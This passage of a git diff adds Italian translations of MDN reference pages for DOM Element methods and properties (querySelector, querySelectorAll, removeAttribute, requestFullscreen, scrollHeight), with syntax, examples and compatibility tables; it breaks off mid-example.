+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSPrefix">Node.prefix</a> (introdotto in DOM2).</p>
+<p>{{ languages( { "en": "en/DOM/element.prefix", "ja": "ja/DOM/element.prefix", "pl": "pl/DOM/element.prefix" } ) }}</p>
diff --git a/files/it/web/api/element/queryselector/index.html b/files/it/web/api/element/queryselector/index.html
new file mode 100644
index 0000000000..f6455563d9
--- /dev/null
+++ b/files/it/web/api/element/queryselector/index.html
@@ -0,0 +1,131 @@
+---
+title: Element.querySelector()
+slug: Web/API/Element/querySelector
+translation_of: Web/API/Element/querySelector
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Il metodo <code><strong>querySelector()</strong></code> dell'interfaccia {{domxref("Element")}} restituisce il primo elemento discendente dell'elemento su cui è invocato corrispondente al gruppo specificato di selettori.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>var element</var> = <em>baseElement</em>.querySelector(<em>selector</em>s);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>Un gruppo di selettori per abbinare gli elementi discendenti di {{domxref ("Element")}} <code>baseElement</code> contro; questa deve essere una sintassi CSS valida o si verificherà un <code>SyntaxError</code>. Viene restituito il primo elemento trovato che corrisponde a questo gruppo di selettori.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Il primo elemento discendente di <code>baseElement</code> che corrisponde al gruppo specificato di <code>selectors</code>. L'intera gerarchia di elementi viene considerata durante la corrispondenza, inclusi quelli esterni all'insieme di elementi, incluso <code>baseElement</code> e i suoi discendenti; in altre parole, <code>selectors</code> viene prima applicato all'intero documento, non a <code>baseElement</code>, per generare un elenco iniziale di elementi potenziali. Gli elementi risultanti vengono quindi esaminati per vedere se sono discendenti di <code>baseElement</code>. La prima corrispondenza di questi elementi rimanenti viene restituita dal metodo <code>querySelector()</code>.</p>
+
+<p>Se non vengono trovate corrispondenze, il valore restituito è <code>null</code>.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>I <code>selectors</code> specificati non sono validi.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Consideriamo alcuni esempi.</p>
+
+<h3 id="Trova_un_elemento_specifico_con_valori_specifici_di_un_attributo">Trova un elemento specifico con valori specifici di un attributo</h3>
+
+<p>In questo primo esempio, viene restituito il primo elemento {{HTMLElement("style")}} che non ha né il tipo né il tipo "text/css" nel corpo del documento HTML:</p>
+
+<pre class="brush:js">var el = document.body.querySelector("style[type='text/css'], style:not([type])");
+</pre>
+
+<h3 id="L'intera_gerarchia_conta">L'intera gerarchia conta</h3>
+
+<p>Questo esempio dimostra che la gerarchia dell'intero documento è considerata quando si applicano i <code>selectors</code>, in modo che i livelli al di fuori di <code>baseElement</code> specificato siano ancora considerati quando si localizzano le corrispondenze.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h5&gt;Original content&lt;/h5&gt;
+  &lt;p&gt;
+    inside paragraph
+    &lt;span&gt;inside span&lt;/span&gt;
+    inside paragraph
+  &lt;/p&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;h5&gt;Output&lt;/h5&gt;
+  &lt;div id="output"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var baseElement = document.querySelector("p");
+document.getElementById("output").innerHTML =
+  (baseElement.querySelector("div span").innerHTML);</pre>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p>Il risultato è simile a questo:</p>
+
+<p>{{ EmbedLiveSample("L'intera_gerarchia_conta", 600, 160) }}</p>
+
+<p>Nota come il selettore <code>"div span"</code> corrisponda ancora correttamente all'elemento {{HTMLElement("span")}} anche se il<br>
+ i nodi figli di <code>baseElement</code> non includono l'elemento {{domxref("div")}} (fa ancora parte del selettore specificato).</p>
+
+<h3 id="More_examples">More examples</h3>
+
+<p>Vedi {{domxref("Document.querySelector()")}} per ulteriori esempi del formato corretto per i <code>selectors</code>.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-parentnode-queryselectorall','querySelector()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll()')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll()')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.querySelector")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/it/docs/Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors">Individuazione degli elementi DOM mediante selettori</a></li>
+ <li><a href="https://developer.mozilla.org/it/docs/Web/CSS/Attribute_selectors">Selettori di attributi</a> nella guida sul CSS</li>
+ <li><a href="https://developer.mozilla.org/it/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Selettori di attributi</a> nell'Area di apprendimento MDN</li>
+ <li>{{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}} and {{domxref("Document.querySelectorAll()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} and {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} and {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector">Snippets per querySelector</a></li>
+ <li>Other methods that take selectors: {{domxref("element.closest()")}} and {{domxref("element.matches()")}}.</li>
+</ul>
diff --git a/files/it/web/api/element/queryselectorall/index.html b/files/it/web/api/element/queryselectorall/index.html
new file mode 100644
index 0000000000..696b449cb6
--- /dev/null
+++ b/files/it/web/api/element/queryselectorall/index.html
@@ -0,0 +1,182 @@
+---
+title: Element.querySelectorAll()
+slug: Web/API/Element/querySelectorAll
+tags:
+  - API
+  - CSS Selectors
+  - DOM
+  - Element
+  - Finding Elements
+  - Method
+  - Referenza
+  - Searching Elements
+  - Selecting Elements
+  - Selectors
+  - querySelector
+translation_of: Web/API/Element/querySelectorAll
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Il metodo {{domxref("Element")}} <code><strong>querySelectorAll()</strong></code> restituisce una {{domxref("NodeList")}} statica (non dinamica) che rappresenta un elenco di elementi corrispondenti al gruppo specificato di selettori che sono i discendenti dell'elemento su cui è stato chiamato il metodo.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This method is implemented based on the {{domxref("ParentNode")}} mixin's {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} method.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>Una {{domxref("DOMString")}} contenente uno o più selettori con cui confrontarsi. Questa stringa deve essere una stringa di un <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selector</a> valido; se non lo è, viene generata un'eccezione <code>SyntaxError</code>. Vedi <a href="https://developer.mozilla.org/it/docs/Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors">Individuazione degli elementi DOM mediante selettori</a> per ulteriori informazioni sull'uso dei selettori per identificare gli elementi. È possibile specificare più selettori separandoli utilizzando le virgole.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> I caratteri che non fanno parte della sintassi CSS standard devono essere sottoposti a escape utilizzando un carattere backslash. Poiché JavaScript utilizza anche l'escape del backspace, è necessario prestare particolare attenzione quando si scrivono stringhe letterali utilizzando questi caratteri. Vedi {{anch("Escaping special characters")}} per maggiori informazioni.</p>
+</div>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Una {{domxref("NodeList")}} non dinamica contenente un oggetto {{domxref("Element")}} per ciascun nodo discendente che corrisponde ad almeno uno dei selettori specificati.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Se i <code>selectors</code> specificati includono un <a href="/en-US/docs/Web/CSS/Pseudo-elements">CSS pseudo-element</a>, l'elenco restituito è sempre vuoto.</p>
+</div>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>La sintassi della stringa <code>selectors</code> specificata non è valida.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Ottenere_un_elenco_di_risultati">Ottenere un elenco di risultati</h3>
+
+<p>Per ottenere una {{domxref("NodeList")}} di tutti gli elementi {{HTMLElement("p")}} contenuti nell'elemento <code>"myBox"</code>:</p>
+
+<pre class="brush: js">var matches = myBox.querySelectorAll("p");</pre>
+
+<p>Questo esempio restituisce un elenco di tutti gli elementi {{HTMLElement("div")}} di <code>"myBox"</code> con la classe "<code>note</code>" o "<code>alert</code>":</p>
+
+<pre class="brush: js">var matches = myBox.querySelectorAll("div.note, div.alert");
+</pre>
+
+<p>Qui, otteniamo un elenco degli elementi <code>&lt;p&gt;</code> del documento il cui elemento padre immediato è un {{domxref("div")}} con la classe <code>"highlighted"</code> e che si trovano all'interno di un contenitore il cui ID è <code>"test"</code>.</p>
+
+<pre class="brush: js">var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted &gt; p");</pre>
+
+<p>Questo esempio usa un <a href="/en-US/docs/Web/CSS/Attribute_selectors">attribute selector</a> per restituire una lista degli elementi {{domxref("iframe")}} nel documento che contengono un attributo chiamato <code>"data-src"</code>:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre>
+
+<p>Qui, un selettore di attributo viene utilizzato per restituire un elenco degli elementi di elenco contenuti in un elenco il cui ID è <code>"userlist"</code> che hanno un attributo <code>"data-active"</code> il cui valore è <code>"1"</code>:</p>
+
+<pre class="brush: js">var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");</pre>
+
+<h3 id="Accedere_ai_risultati">Accedere ai risultati</h3>
+
+<p>Una volta restituita la {{domxref("NodeList")}} degli elementi di corrispondenza, è possibile esaminarlo come qualsiasi array. Se la matrice è vuota (ovvero la sua proprietà <code>length</code> è 0), non è stata trovata alcuna corrispondenza.</p>
+
+<p>Altrimenti, puoi semplicemente usare la notazione standard per accedere al contenuto della lista. È possibile utilizzare qualsiasi istruzione di loop comune, come ad esempio:</p>
+
+<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});</pre>
+
+<div class="note">
+<p><strong>Note: </strong>NodeList non è un vero array, vale a dire che non ha i metodi dell'array come slice, some, map etc. Per convertirlo in un array, prova <code>Array.from(nodeList)</code>.</p>
+</div>
+
+<h2 id="Note_dell'utente">Note dell'utente</h2>
+
+<p><code>querySelectorAll()</code> si comporta in modo diverso rispetto alle più comuni librerie DOM JavaScript, il che potrebbe portare a risultati imprevisti.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Considera questo HTML, con i suoi tre blocchi {{HTMLElement("div")}} annidati.</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div class="select"&gt;
+    &lt;div class="inner"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, not 0!
+</pre>
+
+<p>In questo esempio, quando si seleziona <code>".outer .inner"</code> nel contesto il <code>&lt;div&gt;</code> con la classe <code>"select"</code>, tsi trova ancora l'elemento con la classe <code>".inner"</code>, anche se​​​​​​ <code>.outer</code> non è un discendente dell'elemento base su cui viene eseguita la ricerca (<code>".select"</code>). Per impostazione predefinita, <code>querySelectorAll()</code> verifica solo che l'ultimo elemento nel selettore si trovi all'interno dell'ambito di ricerca.</p>
+
+<p>La pseudo-classe {{cssxref(":scope")}} ripristina il comportamento previsto, abbinando solo i selettori sui discendenti dell'elemento base:</p>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Standard di vita</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Definizione originale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("api.Element.querySelectorAll")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/it/docs/Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors">Individuazione degli elementi DOM mediante selettori</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selectors</a> nella guida sul CSS</li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Attribute selectors</a> nell'area di apprendimento MDN</li>
+ <li>{{domxref("Element.querySelector()")}}</li>
+ <li>{{domxref("Document.querySelector()")}} e {{domxref("Document.querySelectorAll()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} e {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} e {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector">Snippets per <code>querySelector()</code></a></li>
+</ul>
diff --git a/files/it/web/api/element/removeattribute/index.html b/files/it/web/api/element/removeattribute/index.html
new file mode 100644
index 0000000000..2a64205cc3
--- /dev/null
+++ b/files/it/web/api/element/removeattribute/index.html
@@ -0,0 +1,57 @@
+---
+title: Element.removeAttribute()
+slug: Web/API/Element/removeAttribute
+tags:
+  - API
+  - DOM
+  - Elemento
+  - Riferimento
+  - metodo
+translation_of: Web/API/Element/removeAttribute
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary">Il metodo {{domxref("Element")}} <strong><code>removeAttribute()</code></strong> rimuove l'attributo con il nome specificato dall'elemento.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>element</em>.removeAttribute(<em>attrName</em>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>attrName</code></dt>
+ <dd>Una {{domxref("DOMString")}} che specifica il nome dell'attributo da rimuovere dall'elemento. Se l'attributo specificato non esiste, <code>removeAttribute()</code> restituisce senza generare un errore.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p><code>undefined</code>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Poiché <code>removeAttribute()</code> non restituisce un valore, non è possibile concatenare più chiamate contemporaneamente per rimuovere più attributi contemporaneamente.</p>
+</div>
+
+<h2 id="Note_di_utilizzo">Note di utilizzo</h2>
+
+<p>Dovresti usare <code>removeAttribute()</code> <font><font>invece di impostare il valore dell'attributo </font></font><code>null</code> <font><font>direttamente o usando</font></font> {{domxref("Element.setAttribute", "setAttribute()")}}. Molti attributi non si comportano come previsto se li imposti a <code>null</code>.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">// Prima: &lt;div id="div1" align="left" width="200px"&gt;
+document.getElementById("div1").removeAttribute("align");
+// Dopo: &lt;div id="div1" width="200px"&gt;
+</pre>
+
+<h2 id="Specifica">Specifica</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6D6AC0F9">DOM Level 2 Core: removeAttribute</a> (introdotta nel <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttribute">DOM Level 1 Core</a>)</p>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.removeAttribute")}}</p>
diff --git a/files/it/web/api/element/requestfullscreen/index.html b/files/it/web/api/element/requestfullscreen/index.html
new file mode 100644
index 0000000000..624e2da766
--- /dev/null
+++ b/files/it/web/api/element/requestfullscreen/index.html
@@ -0,0 +1,110 @@
+---
+title: Element.requestFullscreen()
+slug: Web/API/Element/requestFullScreen
+translation_of: Web/API/Element/requestFullScreen
+---
+<div>{{APIRef("Fullscreen API")}}</div>
+
+<p>Il metodo <code><strong>Element.requestFullscreen()</strong></code> invia una richiesta asincrona per visualizzare l'elemento a schremo intero (full-screen).</p>
+
+<p>Non c'è garanzia che l'elemento verrà effettivamente visualizzato a schermo intero. Se il permesso di entrare in modalità full-screen è accordato, il documento riceverà un evento di tipo {{event("fullscreenchange")}} che lo informarà dell'avvenuto passaggio in modalità full-screen. Viceversa, se il permesso è negato, il documento riceve un evento di tipo {{event('fullscreenerror')}}.</p>
+
+<div class="note">
+<p>Soltanto gli elementi nel documento principale o in un {{HTMLElement('iframe')}} con l'attributo {{htmlattrxref("allowfullscreen", "iframe")}} possono essere visualizzati a schermo intero. Questo signigica che gli elementi all'interno di un {{HTMLElement('frame')}} o un {{HTMLElement('object')}} non possono.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>elt</em>.requestFullscreen();
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen", "#dom-element-requestfullscreen", "Element.requestFullScreen()")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("webkit")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("9.0")}} as <code>mozRequestFullScreen</code><sup>[2]</sup><br>
+    {{CompatGeckoDesktop("47.0")}} (behind full-screen-api.unprefix.enabled</td>
+   <td>11{{property_prefix("ms")}}<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}} as <code>mozRequestFullScreen</code><sup>[2]</sup><br>
+    {{CompatGeckoMobile("47.0")}} (behind full-screen-api.unprefix.enabled</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] implementato anche come <code>webkitRequestFullScreen</code>.</p>
+
+<p>[2] Implementato come <code>mozRequestFullScreen</code> (notare la letterea S maiuscola per Screen). Prima di Firefox 44, Gecko erroneamente permetteva agli elementi all'inderno di un {{HTMLElement('frame')}} o un {{HTMLElement('object')}} di richiedere e ottenere il full screen. Da Firefox 44 in poi ciò è stato corretto: solo gli elementi del documento principale o di un {{HTMLElement('iframe')}} con l'attributo {{htmlattrxref("allowfullscreen", "iframe")}} possono essere visualizzati a schermo intero.</p>
+
+<p>[3] Vedi <a href="https://msdn.microsoft.com/en-us/library/dn254939%28v=vs.85%29.aspx">documentazione su MSDN</a>.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Using full-screen mode</li>
+ <li>{{ domxref("Element.requestFullscreen()") }}</li>
+ <li>{{ domxref("Document.exitFullscreen()") }}</li>
+ <li>{{ domxref("Document.fullscreen") }}</li>
+ <li>{{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{ cssxref(":fullscreen") }}</li>
+ <li>{{ HTMLAttrXRef("allowfullscreen", "iframe") }}</li>
+</ul>
diff --git a/files/it/web/api/element/scrollheight/index.html b/files/it/web/api/element/scrollheight/index.html
new file mode 100644
index 0000000000..05cc48fd15
--- /dev/null
+++ b/files/it/web/api/element/scrollheight/index.html
@@ -0,0 +1,170 @@
+---
+title: Element.scrollHeight
+slug: Web/API/Element/scrollHeight
+translation_of: Web/API/Element/scrollHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>L' <strong><code>Element.scrollHeight</code></strong> è una proprietà di sola lettura e contiene la misura dell'altezza del contenuto di un elemento, incluso il contenuto non visibile sullo schermo a causa dell'overflow. Il valore dello <code>scrollHeight</code> è uguale al minimo valore del clientHeight che l'elemento richiederebbe per adattare tutto il contenuto nel punto di vista, senza usare una barra di scorrimento verticale. Esso include il padding, ma non il bordo dell'elemento.</p>
+
+<div class="note">
+<p>Questa proprietà ritornerà un numero intero. Se hai bisogno di un numero decimale, invece, usa {{ domxref("Element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintassi</h2>
+
+<pre class="eval">var <em>intElemScrollHeight</em> = document.getElementById(<em>"nome dell'id"</em>).scrollHeight;
+</pre>
+
+<p>La variabile <em>intElemScrollHeight</em> è una variabile contenente un numero intero che corrisponde allo scrollHeight in pixel dell'elemento. ScrollHeight è una proprietà di sola lettura.</p>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<div id="offsetContainer" style="margin: 26px 0px; border: 4px dashed black; left: 260px; color: black; position: absolute; background-color: rgb(255, 255, 204);">
+<div id="idDiv" style="margin: 24px 29px; padding: 0px 28px; border: 24px solid black; width: 199px; height: 102px; overflow: auto; font-family: Arial, sans-serif; font-size: 13px !important; background-color: white;">
+<p id="PaddingTopLabel" style="margin: 0px; text-align: center; font-family: Arial, sans-serif; font-size: 13px !important; font-style: italic; font-weight: bold;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg" class="internal" src="/@api/deki/files/44/=BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="margin: 0px; text-align: center; font-family: Arial, sans-serif; font-size: 13px !important; font-style: italic; font-weight: bold;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px !important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px !important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px !important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px !important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: _fckstyle="position: _fckstyle="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="Image:scrollHeight.png" class="internal" src="/@api/deki/files/840/=ScrollHeight.png"></p>
+
+<h2 id="Problemi_e_soluzioni">Problemi e soluzioni</h2>
+
+<h3 id="Determinare_se_un_elemento_è_arrivato_in_fondo_con_lo_scroll.">Determinare se un elemento è arrivato in fondo con lo scroll.</h3>
+
+<p>La seguente funzione ritorna <code>true</code> se l'elemento è in fondo al suo scorrimento, <code>false</code> altrimenti.</p>
+
+<pre class="syntaxbox">element.scrollHeight - element.scrollTop === element.clientHeight</pre>
+
+<p> </p>
+
+<p>Associato all'evento <code><a href="/en-US/docs/DOM/element.onscroll" title="en-US/docs/DOM/element.onscroll">onscroll</a></code>, questa equivalenza potrebbe tornare utile per determinare se l'utente ha letto un testo o no (guarda anche le proprietà <code><a href="/en-US/docs/DOM/element.scrollTop" title="en-US/docs/DOM/element.scrollTop">element.scrollTop</a></code> e <code><a href="/en-US/docs/DOM/element.clientHeight" title="en-US/docs/DOM/element.clientHeight">element.clientHeight</a></code>). Per esempio:</p>
+
+<div style="height: 500px; overflow: auto; margin-bottom: 12px;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function checkReading () {
+  if (checkReading.read) { return; }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ?
+    "Thank you." :
+    "Please, scroll and read the following text.";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}
+
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+
+#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+  &lt;form name="registration"&gt;
+
+    &lt;p&gt;
+      &lt;textarea id="rules"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna. Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim.
+
